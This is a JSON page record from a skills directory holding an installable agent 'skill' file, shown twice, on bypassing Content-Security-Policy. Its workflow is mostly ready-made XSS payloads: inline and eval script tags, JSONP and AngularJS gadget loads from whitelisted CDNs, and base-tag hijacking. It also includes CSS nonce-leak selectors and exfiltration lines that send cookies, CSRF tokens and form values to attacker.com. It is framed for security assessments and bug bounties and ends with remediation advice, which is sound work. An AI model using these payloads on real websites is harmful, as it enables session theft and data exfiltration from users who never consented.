[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFQBKV13T62JSSMXRH2YTH":3,"skill-same:01M6AFQBKV13T62JSSMXRH2YTH":109},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":49,"linkOnly":50,"markdownContent":51,"markdownBody":52,"frontMatter":53,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":71,"repositoryHtmlUrl":72,"repositoryHomepageUrl":73,"ownerHtmlUrl":74,"ownerBlogUrl":75,"ownerDescription":76,"updatedAt":77,"install":78,"resources":91},"01M6AFQBKV13T62JSSMXRH2YTH","performing-content-security-policy-bypass",null,"Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline\u002Funsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce\u002Fhash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration for weaknesses.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35884,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"security","performing content security policy bypass","content","policy","t1505","application security","policy-misconfiguration","jsonp","nonce-bypass","script-injection","content-security-policy","csp-bypass","application-security","cybersecurity","xss","injection","t1059","web-application-security","data","pr","2026-11-10 10:12:30",false,"---\nname: performing-content-security-policy-bypass\ndescription: Analyze Content-Security-Policy headers and bypass them to achieve cross-site\n  scripting by exploiting unsafe-inline\u002Funsafe-eval, whitelisted JSONP endpoints, base-uri\n  and form-action gaps, and nonce\u002Fhash weaknesses, then exfiltrate data even without\n  script-src control. Use during web application security assessments or bug bounty\n  hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration\n  for weaknesses.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- csp-bypass\n- content-security-policy\n- xss\n- script-injection\n- nonce-bypass\n- jsonp\n- policy-misconfiguration\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n","# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https:\u002F\u002Fcsp-evaluator.withgoogle.com\u002F\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http:\u002F\u002Ftarget.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https:\u002F\u002Fcdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n\u003Cscript>eval('alert(1)')\u003C\u002Fscript>\n\u003Cscript>setTimeout('alert(1)',0)\u003C\u002Fscript>\n\u003Cscript>new Function('alert(1)')()\u003C\u002Fscript>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https:\u002F\u002Faccounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n\u003Cscript src=\"https:\u002F\u002Faccounts.google.com\u002Fo\u002Foauth2\u002Frevoke?callback=alert(1)\">\u003C\u002Fscript>\n\n# Common JSONP endpoints:\n# https:\u002F\u002Fwww.google.com\u002Fcomplete\u002Fsearch?client=chrome&q=test&callback=alert(1)\u002F\u002F\n# https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n\u003Cscript src=\"https:\u002F\u002Fcdnjs.cloudflare.com\u002Fajax\u002Flibs\u002Fangular.js\u002F1.6.0\u002Fangular.min.js\">\u003C\u002Fscript>\n\u003Cdiv ng-app ng-csp>{{$eval.constructor('alert(1)')()}}\u003C\u002Fdiv>\n\n# Exploit JSONP on whitelisted APIs\n\u003Cscript src=\"https:\u002F\u002Fwhitelisted-api.com\u002Fendpoint?callback=alert(1)\u002F\u002F\">\n\u003C\u002Fscript>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject \u003Cbase> tag to redirect relative script loads\n\u003Cbase href=\"https:\u002F\u002Fattacker.com\u002F\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n\u003Cform action=\"https:\u002F\u002Fattacker.com\u002Fsteal\" method=\"POST\">\n  \u003Cinput name=\"csrf_token\" value=\"\">\n\u003C\u002Fform>\n\u003Cscript>document.forms[0].submit()\u003C\u002Fscript>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n\u003Cobject data=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\u003C\u002Fobject>\n\u003Cembed src=\"https:\u002F\u002Fattacker.com\u002Fexploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n\u003Cstyle>\n  script[nonce^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002Fleak?nonce=b\"); }\n\u003C\u002Fstyle>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n\u003Cform id=\"csp\">\u003Cinput name=\"nonce\" value=\"attacker-controlled\">\u003C\u002Fform>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri \u002Fcsp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n\u003Cimg src=\"https:\u002F\u002Fattacker.com\u002Fsteal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n\u003Cstyle>\ninput[value^=\"a\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https:\u002F\u002Fattacker.com\u002F?char=b\"); }\n\u003C\u002Fstyle>\n\n# Via connect-src (if allows external):\n\u003Cscript nonce=\"valid\">\n  fetch('https:\u002F\u002Fattacker.com\u002Fsteal?data=' + document.cookie);\n\u003C\u002Fscript>\n\n# Via DNS prefetch:\n\u003Clink rel=\"dns-prefetch\" href=\"\u002F\u002Fdata.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN\u002FTURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https:\u002F\u002Fcdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP\u002FLibrary bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | \u003Cbase href=\"https:\u002F\u002Fevil.com\u002F\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n",{"name":5,"tags":54,"author":55,"domain":42,"license":15,"version":56,"nist_csf":57,"subdomain":46,"description":7,"mitre_attack":62},[40,39,43,38,37,36,35],"mahipal","1.0",[58,59,60,61],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[63,64,65,66,67],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-content-security-policy-bypass",4379,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":79,"prompt":89,"zipAvailable":90},[80,83,86],{"tool":81,"command":82},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypass",{"tool":84,"command":85},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypass",{"tool":87,"command":88},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FSKILL.md",true,[92,97,103],{"path":93,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-content-security-policy-bypass\u002FLICENSE",{"path":98,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"references\u002Fapi-reference.md","REFERENCE","参考文档",6611,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Freferences\u002Fapi-reference.md",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"scripts\u002Fagent.py","SCRIPT","脚本",11240,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-content-security-policy-bypass\u002Fscripts\u002Fagent.py",[110,135,158,186,211,238],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":117,"publishedAt":49},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[116],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[118,119,120,121,29,42,122,123,48,124,125,126,127,128,129,130,131,132,133,134],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":142,"publishedAt":49},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[141],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[143,131,144,145,29,32,42,48,146,147,148,149,150,151,152,153,154,155,156,157],"boot","TPM","validating tpm measured boot attestation","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":168,"publishedAt":49},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[164,167],{"categoryNo":165,"categoryName":166,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[152,169,170,171,172,42,173,174,146,175,176,177,178,179,180,181,182,183,184,185],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":193,"publishedAt":49},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[192],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[194,195,196,42,197,198,199,200,201,202,203,47,204,205,206,207,149,208,209,210],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":218,"publishedAt":49},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS 